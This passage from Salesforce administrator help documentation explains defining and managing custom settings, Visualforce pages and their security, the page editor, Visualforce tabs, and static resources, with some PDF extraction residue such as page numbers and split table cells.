Note: If Privacy is defined as Protected, and the custom setting is contained in a managed package, the
custom setting is not accessible using the API in either the developer organization or a subscribing organization.
Use any tool with API access to perform query or profile-permission-setting operations. For more information, see the
SOAP API Developer's Guide.
Note: You can also access custom settings data through a Standard Object Query Language (SOQL) query but this
method doesn't make use of the application cache. Its similar to querying a custom object.

See Also:
Custom Settings Overview
Custom Settings Limits
Defining Custom Settings
Apex Code Overview

Defining Custom Settings


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.
Packages are not available in Database.com.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

To create or edit a custom setting:


1. Click Your Name > Setup > Develop > Custom Settings.
2. Click New to create a new custom setting, click Edit next to the name of a custom setting, or click Edit while viewing the
details of a custom setting.
Note: A icon indicates that the custom setting is in an installed managed package. You cant edit or delete a
custom setting installed from a managed package.
3. Define the following:

2094

Develop

Defining Custom Settings

LabelEnter the label displayed in the application.


Object NameEnter the name to be used when the custom setting is referenced by formula fields, validation rules,

Apex, or the SOAP API.


Note: Salesforce.com recommends using ASCII for the Object Name. The name can't exceed 38 ASCII
characters. If you use double byte, there are additional limits on the number of characters allowed.

Setting TypeSelect a type of List or Hierarchy. The List type defines application-level data, such as country codes

or state abbreviations. The Hierarchy type defines personalization settings, such as default field values, that can be
overridden at lower levels in the hierarchy.
Important: After you save a custom setting, you cannot change this value.

VisibilitySelect a visibility of Protected or Public.

ProtectedIf the custom setting is contained in a managed package, subscribing organizations can't see the custom
setting: it doesn't display as part of the package list. In addition, subscribing organizations can't access the custom
setting using either Apex or the API, however, developer organizations can. If the custom setting is contained in
an unmanaged package, the custom setting is available through the Enterprise WSDL like any custom object (as
if the Visibility was Public.)
PublicThe custom setting is available through the Enterprise WSDL like any custom object. You can package
custom settings defined as public. The subscribing organizations can edit the values, as well as access them using
Apex and the API, regardless of the type of package (either managed or unmanaged).
Important: After you save a custom setting, you cannot change this value.

4. Enter an optional description of the custom setting. A meaningful description will help you remember the differences
between your custom settings when youre viewing them in a list.
5. Click Save.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they
have installed the package.
After you create a custom setting, you must also add fields to the custom setting.

See Also:
Custom Settings Overview
Adding Custom Settings Fields
Adding Custom Settings Data

2095

Develop

Viewing Custom Settings

Viewing Custom Settings


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.
Packages are not available in Database.com.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

After you create a custom setting, you can view the details of the custom setting, manage the custom setting, and add fields.
Click Your Name > Setup > Develop > Custom Settings, then click the name of the custom setting you'd like to view. While
viewing a custom setting, you can:

Click Edit to make changes to a custom setting.


Click Delete to delete a custom setting.
Note: A icon indicates that the custom setting is in an installed managed package. You cant edit or delete a
custom setting installed from a managed package.

Click Manage to add data to a custom setting.

In addition, click New to add fields to the custom setting.

See Also:
Custom Settings Overview
Accessing Custom Settings
Defining Custom Settings

Adding Custom Settings Fields


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.
Packages are not available in Database.com.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

After you define custom settings, you need to add custom fields to them. The custom fields contain the data used by the
custom setting.

2096

Develop

Managing Custom Settings Data

To add custom fields to a custom setting:


1. Click Your Name > Setup > Develop > Custom Settings.
2. Click the name of the custom setting that you want to add fields to. (If you just created a custom setting, you are taken
directly to the Custom Setting Detail page.)
3. Click New.
4. Select a field type and click Next.
5. Enter the details for your custom field.
6. Once you confirm the information, click Save or Save & New.
After you add the required fields, you need to add data, and for hierarchy custom settings, specify the access level.

See Also:
Custom Settings Overview
Defining Custom Settings
Adding Custom Settings Data

Managing Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

After defining custom settings and adding fields, populate the fields:
1. Click Your Name > Setup > Develop > Custom Settings.
2. Click Manage next to a custom setting, or from the detail page for a custom setting.
3. Provide or change values for the custom setting.

If you are managing a list setting:


Click New to add data to the fields.
Click Edit next to the name of an existing set of data to change the name of the data set or to change the data.
Click Del next to the name of an existing set of data to delete the data set.

If you are managing a hierarchy setting, decide where in the permission hierarchy you want to add default data
(organization, profile, or user).
To add default data at the organization level, click New in the Default Organization Level Value section. If data has
already been defined for the organization, you can only edit or delete it.
To add default data at the profile or user level, click New in the lower section of the page, near the Setup Owner.

After you have defined data, you can:

2097

Develop

Managing Custom Settings Data

Click Edit in the Default Organization Level Value section to change the default data set at the organization level, or
Delete to delete it (this is only for hierarchical custom settings.)
Click View next to the name of an existing set of data to view the data (this is only for hierarchical custom settings.)
Click Edit next to the name of an existing set of data to change the name of the data set or to change the data.
Click Del next to the name of an existing set of data to delete the data set.

See Also:
Custom Settings Overview
Custom Settings Limits
Adding Custom Settings Fields
Adding Custom Settings Data

Adding Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

After you define your custom settings and add fields, you need to populate the fields with data.
You can define one or more data sets. For list custom settings, each data set is named and can be accessed by that name using
Apex, formula fields, and so on.
For custom settings that are hierarchies, the data is accessed based on the access level (user, profile, or organization). The
lowest level is used first, which means if you defined a data set at the user level, unless otherwise specified in your application,
that data is used. For example, you might want to specify different contact numbers for your application: one for the general
user, and one that is only displayed for system administrators.
To add data to custom setting fields:
1. Click Your Name > Setup > Develop > Custom Settings, then click Manage next to a custom setting. Or from the detail
page for a custom setting, click Manage.
2. Click New or Edit next to an existing data set.
3. Add or change data.
For custom settings that are lists:
a. Specify or change the name for the data set. This name is used by Apex, formula fields, and so on.
b. Enter or change data for all fields.
c. Click Save.
For custom settings that are hierarchies:

2098

Develop

Visualforce Overview

a. For the default organization level values, enter or change the data for the fields. The default organization location is
automatically populated.
b. For profile or user level values, select either Profile or User from the Location picklist. Enter the name of the
profile or user, or use the lookup dialog search. Then enter or change the data for the fields.
c. Click Save.

See Also:
Custom Settings Overview
Defining Custom Settings
Viewing Custom Settings
Managing Custom Settings Data
Adding Custom Settings Fields

Viewing Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

After you add fields and add data to those fields, you can view the data.
1. Click Your Name > Setup > Develop > Custom Settings, then click Manage next to a custom setting that has already
been defined. Or from the detail page for a custom setting, click Manage.
2. Click View next to the data set you want to view (this is only for hierarchical custom settings).

See Also:
Custom Settings Overview
Defining Custom Settings
Adding Custom Settings Fields
Adding Custom Settings Data

Visualforce Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the
Salesforce user interface. With Visualforce you can:

2099

Develop

Visualforce Overview

Create custom user interfaces that easily leverage standard Salesforce styles
Create custom user interfaces that completely replace the standard Salesforce styles
Build wizards and other navigation patterns that use data-specific rules for optimal, efficient application interaction

Visualforce comes with a rich component library that allows you to quickly build pages without having to create a lot of
functionality yourself. In the Visualforce markup language, each tag corresponds to a coarse or fine-grained component, such
as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in
standard Salesforce pages, or developers can associate their own logic with a custom controller or controller extension written
in Apex.

Browser Security Settings and Visualforce


Some Visualforce pages are run from *.force.com servers. If you set your browser's trusted sites to include *.salesforce.com,
you must also add *.force.com to the list.
Depending on your browser and browser settings, you may see an error similar to the following on some pages:
Your browser privacy settings have prevented this page from showing some content.
To display this content you need to change your browser privacy settings to allow
"Third Party" cookies from the domain mypages.na1.visual.force.com. Alternatively,
if your browser is Internet Explorer, you can add mypages.na1.visual.force.com. to
your trusted sites list in the security options page.
Salesforce includes a Platform for Privacy Preferences Project (P3P) header on some pages. The header is composed of the
following settings:
Purpose
CUR - Information is used to complete the activity for which it was provided.
Category
STA - Mechanisms for maintaining a stateful session with a user or automatically recognizing users who have visited a
particular site or accessed particular content previously; for example, HTTP cookies.
Recipient
OTR - Legal entities following different practices. Users cannot opt-in or opt-out of this usage.
If your browser is configured to support P3P, this header allows all Visualforce pages to display. For information on P3P, see
Platform for Privacy Preferences (P3P) Project.
If your browser is set to block third-party cookies, and it does not use the P3P header, and you see an error similar to the one
above, perform one of the following actions:

Configure P3P for your browser


Change your browser settings to allow third-party cookies

2100

Develop

How Do Visualforce Pages Compare to S-Controls?

Add the appropriate server to your browser's cookies exception list

See Also:
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
What is a Custom Component?
Developer's Guide: Visualforce Developer's Guide

How Do Visualforce Pages Compare to S-Controls?


Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible,
both for their increased performance and the ease with which they can be written. The following table outlines the differences
between Visualforce pages and s-controls.
Visualforce Pages

S-Controls

Required technical skills

HTML, XML

HTML, JavaScript, Ajax Toolkit

Language style

Tag markup

Procedural code

Page override model

Assemble standard and custom


components using tags

Write HTML and JavaScript for entire


page

Standard Salesforce component library Yes

No

Access to built-in platform behavior

Yes, through the standard controller

No

Data binding

Yes

No

Developers can bind an input component


(such as a text box) with a particular field
(such as Account Name). If a user saves
a value in that input component, it is also
saved in the database.

Developers can't bind an input


component with a particular field.
Instead, they must write JavaScript code
that uses the API to update the database
with user-specified field values.

Yes

No, must bring in Salesforce stylesheets


manually

Stylesheet inheritance

2101

Develop

Enabling Development Mode

Respect for field metadata, such as


uniqueness

Visualforce Pages

S-Controls

Yes, by default

Yes, if coded in JavaScript using a


describe API call

If a user attempts to save a record that


violates uniqueness or requiredness field
attributes, an error message is
automatically displayed and the user can
try again.

If a user attempts to save a record that


violates uniqueness or requiredness field
attributes, an error message is only
displayed if the s-control developer wrote
code that checked those attributes.

Interaction with Apex

Direct, by binding to a custom controller Indirect, by using Apex webService


methods through the API

Performance

More responsive because markup is


generated on the Force.com platform

Less responsive because every call to the


API requires a round trip to the
serverthe burden rests with the
developer to tune performance

Page container

Native

In an iFrame

Enabling Development Mode


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable development mode:

Customize Application

Although you can view and edit Visualforce page definitions from the setup area by clicking Your Name > Setup > Develop
> Pages, enabling Visualforce development mode is the best way to build Visualforce pages. Development mode provides you
with:

A special development footer on every Visualforce page that includes the pages view state, any associated controller, a link
to the component reference documentation, and a page markup editor that offers highlighting, find-replace functionality,
and auto-suggest for component tag and attribute names.
The ability to define new Visualforce pages just by entering a unique URL.
Error messages that include more detailed stack traces than what standard users receive.

To enable Visualforce development mode:


1. Click Your Name > Setup > My Personal Information > Personal Information, and click Edit.
2. Select the Development Mode checkbox.
3. Optionally, select the Show View State in Development Mode checkbox to enable the View State tab on the
development footer. This tab is useful for monitoring the performance of your Visualforce pages.

2102

Develop

Defining Visualforce Pages

4. Click Save.

See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide

Defining Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and set version settings for Visualforce pages: Customize Application

You can create Visualforce pages either by using Visualforce development mode, or by creating pages in Setup.
To create a page using Visualforce developer mode:
1. In your browser, enter a URL in the following form: https://mySalesforceInstance/apex/nameOfNewPage,
where the value of mySalesforceInstance is the host name of your Salesforce instance (for example,
na3.salesforce.com) and the value of nameOfNewPage is the value you want to give to the Name field on your page
definition.
For example, if you want to create a page called HelloWorld and your Salesforce organization uses the
na3.salesforce.com instance, enter https://na3.salesforce.com/apex/HelloWorld.
Note: Page names cannot be longer than 40 characters.

2. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page.
Click Create page nameOfNewPage to create the new page. Both the page Name and Label are assigned the
nameOfNewPage value you specified in the URL.
To create pages in Setup:
1. Click Your Name > Setup > Develop > Pages.
2. Click New.
3. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. In the Label text box, enter the text that should be used to identify the page in Setup tools, such as when defining custom
tabs, or overriding standard buttons.
5. In the Body text box, enter Visualforce markup for the page. A single page can hold up to 1 MB of text, or approximately
1,000,000 characters.

2103

Develop

Defining Visualforce Pages

6. Click Version Settings to specify the version of Visualforce and the API used with this page. If your organization has
installed managed packages from the AppExchange, you can also specify which version of each managed package to use.
Generally, you should use the default values for all versions. This associates the page with the most recent version of
Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API
to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
7. Click Save to save your changes and return to the Visualforce detail screen, or click Quick Save to save your changes and
continue editing your page. Your Visualforce markup must be valid before you can save your page.
Note: Though your Visualforce markup can be edited from this part of setup, to see the results of your edits you
have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode
enabled so they can view and edit pages in a single window.
Once your page has been created, you can access it using a URL in the following form:
http://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name
of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value of the Name
field on your page definition.

See Also:
Visualforce Overview
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and set version settings for Visualforce pages: Customize Application

To aid backwards-compatibility, each Visualforce page is saved with version settings for the specified version of the API as
well as the specific version of Visualforce. If the Visualforce page references installed managed packages, the version settings
for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API,
and the components in managed packages evolve in subsequent versions, a page is still bound to versions with specific, known
behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package

2104

Develop

Defining Visualforce Pages

versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
To set the Salesforce API and Visualforce version for a Visualforce page:
1. Edit a Visualforce page and click Version Settings.
Note: You can only access the version settings for a page if you edit a page by clicking Your Name > Setup >
Develop > Pages. You cannot access them if you edit a page using Developer Mode.
2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the page.
3. Click Save.
To configure the package version settings for a Visualforce page:
1. Edit a Visualforce page and click Version Settings.
2. Select a Version for each managed package referenced by the Visualforce page. This version of the managed package will
continue to be used by the Visualforce page if later versions of the managed package are installed, unless you manually
update the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the page
or component.
3. Click Save.
Note the following when working with package version settings:

If you save a Visualforce page that references a managed package without specifying a version of the managed package,
the Visualforce page is associated with the latest installed version of the managed package by default.
You cannot Remove a Visualforce page's version setting for a managed package if the package is referenced by the Visualforce
page. Use Show Dependencies to find where the managed package is referenced.

See Also:
Defining Visualforce Pages
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Managing Packages
Developer's Guide: Visualforce Developer's Guide

2105

Develop

Managing Visualforce Pages

Managing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit Visualforce pages:

Customize Application

After creating Visualforce pages, you can customize, edit, and delete them. Click Your Name > Setup > Develop > Pages
to display the Pages list page, which shows all the Visualforce pages defined for your organization. From the Pages list page,
you can:

Click New to define a new Visualforce page.


Click a page name to display detailed information about the page, including its label and Visualforce markup.
Click Edit next to a page name to modify the page's name, label, or Visualforce markup.
Note: A icon indicates that a Visualforce page is in an installed managed package. You cannot edit or delete a
Visualforce page in a managed package.

Click Del to remove a page.


Click Security to manage the security for the page.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand
templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace
Prefix on page 1944.

See Also:
Visualforce Overview
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
Visualforce Page Security Overview
Developer's Guide: Visualforce Developer's Guide

Visualforce Page Security Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

You can specify which users can execute a particular Visualforce page based on their profile or an associated permission set.

2106

Develop

Visualforce Page Security Overview

Permission for a Visualforce page is checked at the top level only. Once users can access a page, they can execute all Apex
that's associated with the page. This includes:

The controller for the page and any Apex classes called from the controller class
Any extension classes for the page and any Apex called from an extension
Any Apex classes associated with custom components within the page
Any classes associated with the page through the use of apex:include or apex:composition

For example, if page A depends on a controller that calls an Apex class B, and a user has access only to page A but not class
B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom component with an associated
controller, security is only checked for the controller associated with the page.
You can set Visualforce page security from:

A Visualforce page definition


Permission sets
Profiles

If users have the Customize Application permission, they can access all Visualforce pages in the associated organization.
However, they may still have restrictions related to Apex classes. The Customize Application permission doesn't allow users
to ignore those restrictions in a Visualforce page unless they have Visualforce page access.
Also, to include Apex in a page, users must have the Author Apex permission or access to the Apex class.
Note: Organizations with Force.com sites or Customer Portals can enable Visualforce pages either by assigning them
to user profiles or by enabling them for the entire site.

See Also:
Managing Visualforce Pages
Apex Class Security Overview

Setting Visualforce Page Security from a Page Definition


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set Visualforce page security:

Manage Users
AND
Customize Application

1. Click Your Name > Setup > Develop > Pages.


2. Next to the name of the page that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add.

2107

Develop

Visualforce Page Security Overview

4. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
5. Click Save.

See Also:
Visualforce Page Security Overview

Setting Visualforce Page Security from Profiles


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set Visualforce page security:

Manage Users

1.
2.
3.
4.

Click Your Name > Setup > Manage Users > Profiles.
Click the name of the profile you want to modify.
Go to the Visualforce Page Access page or related list and click Edit.
Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add, or select the
Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove.
5. Click Save.

See Also:
Visualforce Page Security Overview
User Profiles Overview

Setting Visualforce Page Security from Permission Sets


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit Visualforce page access settings:

1.
2.
3.
4.

Manage Users

Click Your Name > Setup > Manage Users > Permission Sets.
Select a permission set.
Click Visualforce Page Access.
Click Edit.

2108

Develop

Viewing and Editing Visualforce Pages

5. Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add, or select the
Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove.
6. Click Save.

See Also:
Visualforce Page Security Overview
Permission Sets Overview

Viewing and Editing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, or delete Visualforce markup:

Customize Application

To edit custom Visualforce controllers

Author Apex

Click Your Name > Setup > Develop > Pages and click the name of a Visualforce page to view its details, including when it
was created, when it was last modified, and the Visualforce markup associated with the page.
From the detail page, you can do any of the following:

Click New to create a new page


Click Edit to edit existing page markup.
Click Delete to delete the page.
Click Clone to create a copy of the page. You must specify a new name for the new page.
Click Where is this used? to view a list of all references to the page in your organization.
Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be
valid. For more information, see Understanding Dependencies on page 1970.
Note: If the Visualforce page is contained in an installed managed package, you can only view the page. You cannot
edit, delete or clone it.

To aid backwards-compatibility, pages are stored with the version settings for a specified version of Visualforce and the API.
If the page references components, such as a custom object, in an installed managed package, the version settings for each
managed package referenced by the page are saved too. If the Visualforce page is contained in an installed managed package,
the Installed Package indicates the package name. The Available in Package Versions field gives the range of
package versions in which the Visualforce page is available. The first version number in the range is the first installed package
version that contains the Visualforce page.

2109

Develop

Uncaught Exceptions in Visualforce

Viewing and Editing Visualforce Pages with Development Mode Enabled


With development mode enabled, you can view and edit the content of a page by navigating to the URL of the page. For
example, if a page is named HelloWorld, and your salesforce.com instance is na3.salesforce.com, enter
https://na3.salesforce.com/apex/HelloWorld in your browser's address bar.
After enabling development mode, all Visualforce pages display with the development mode footer at the bottom of the
browser:

Click the tab with the name of the page to open the page editor to view and edit the associated Visualforce markup without
having to return to the Setup area. Changes display immediately after you save the page.
If the page uses a custom controller, the name of the controller class is available as a tab. Click the tab to edit the associated
Apex class.
If the page uses any controller extensions, the names of each extension are available as tabs. Clicking on the tab lets you
edit the associated Apex class.
If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce
page.
Click Save (just above the edit pane) to save your changes and refresh the content of the page.
Click Component Reference to view the documentation for all supported Visualforce components.
Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers,
or other pages.

Click the Collapse button ( ) to collapse the development mode footer panel. Click the Expand button ( ) to toggle it
back open.

Click the Disable Development Mode button ( ) to turn off development mode entirely. Development mode remains
off until you enable it again in Your Name > Setup > My Personal Information > Personal Information.

See Also:
Visualforce Overview
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Creating Visualforce Tabs
Managing Version Settings for Visualforce Pages
Managing Packages
About Package Versions
Developer's Guide: Visualforce Developer's Guide

Uncaught Exceptions in Visualforce


If a Visualforce page that you did not develop has a error or uncaught exception

You see a simple explanation of the problem in Salesforce.


The developer who wrote the page receives the error via email with your organization and user id. No other user data is
included in the report.

If you are in development mode and not in the same namespace as the page, you will see the exception message, the exception
type, and a notification that the developer has been notified by email.

2110

Develop

Using the Editor for Visualforce or Apex

If you are the developer and in the same namespace as the page, and you are not in development mode, you will see an exception
message. You may also see a message indicating that the developer has been notified. If you are in development mode, you
will see the exception message, the exception type, and the Apex stack trace.

Using the Editor for Visualforce or Apex


Apex is available in: Unlimited, Developer, and Enterprise Editions

Visualforce is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit Visualforce markup:

Customize Application

To edit custom Visualforce controllers or Apex

Author Apex

When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available
with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search (

Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.

To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
To make the search operation case sensitive, select the Match Case option.
To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it
with <H2$1$2>.

Go to line (

This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.

2111

Develop

Using the Editor for Visualforce or Apex

Undo (

) and Redo (

Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used
with go to line (

) to quickly navigate through the editor.

Line and character count


The total number of lines and characters is displayed in the status bar at the bottom of the editor.
The editor supports the following keyboard shortcuts:
Tab

Adds a tab at the cursor


SHIFT+Tab

Removes a tab
CTRL+f

Opens the search dialog or searches for the next occurrence of the current search
CTRL+r

Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string
CTRL+g

Opens the go to line dialog


CTRL+s

Performs a quick save.


CTRL+z

Reverses the last editing action


CTRL+y

Recreates the last editing action that was undone

See Also:
Core JavaScript 1.5 Guide:Regular Expressions
Viewing and Editing Visualforce Pages

2112

Develop

Creating Visualforce Tabs

Creating Visualforce Tabs


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create Visualforce Tabs:

Customize Application

You can build Visualforce tabs so that users can access Visualforce pages from within Salesforce.
To create a Visualforce tab:
1. Click Your Name > Setup > Create > Tabs.
2. Click New in the Visualforce Tabs related list.
3. Select the Visualforce page to display in the custom tab. If you have not already created the Visualforce page, click Create
a new page now and follow the instructions in Defining Visualforce Pages on page 2103.
4. Specify the label that displays on the tab.
5. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
6. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:
a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor
block icon (

).

c. Select a file and click OK. The New Custom Tab wizard reappears.
7. Optionally, select the Mobile Ready checkbox to indicate that the Visualforce page displays and functions properly in a
mobile web browser.
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 971. Review the considerations for building Visualforce pages that are compatible with mobile browsers before
mobilizing a Visualforce tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.

2113

Develop

What is a Static Resource?

8. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For information
about creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page
1254. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
Visualforce tab.
9. Enter a description of the tab, if desired, and click Next.
10. Choose the user profiles for which the new custom tab will be available:

Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.

11. Specify the custom apps that should include the new tab. See What is an App? on page 1718 for information on custom
apps.
12. Check Append tab to users' existing personal customizations to add the new tab to your users customized
display settings if they have customized their personal display.
13. Click Save.

See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide

What is a Static Resource?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and
.jar files), images, stylesheets, JavaScript, and other files.
Using a static resource is preferable to uploading a file to the Documents tab because:

You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive.
You can reference a static resource in page markup by name using the $Resource global variable instead of hard-coding
document IDs:
To reference a stand-alone file, use $Resource.<resource_name> as a merge field, where <resource_name> is
the name you specified when you uploaded the resource. For example:
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

or
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>

2114

Develop

Defining Static Resources

To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when
you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second.
For example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}"
width="50" height="50"/>

or
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in
your CSS file, namedstyles.css, you have the following style:
table { background-image: img/testimage.gif }

When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create
an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure
is preserved in the archive. Then upload the archive file as a static resource named style_resources. Then, in your page,
add the following component:
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>

Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the
image is displayed.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. Static
resources apply to your organization's quota of data storage.

See Also:
Defining Static Resources
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

Defining Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create static resources:

Customize Application

To create a static resource:

2115

Develop

Defining Static Resources

1. Click Your Name > Setup > Develop > Static Resources.
2. Click New Static Resource.
3. In the Name text box, enter the text that should be used to identify the resource in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the
Visualforce markup is updated to reflect that change.
4. In the Description text area, specify an optional description of the resource.
5. Next to the File text box, click Browse to navigate to a local copy of the resource that you want to upload.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total.
6. Set the Cache Control:

Private specifies that the static resource data cached on the Salesforce server shouldn't be shared with other users.
The static resource is only stored in cache for the current user's session.

Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's
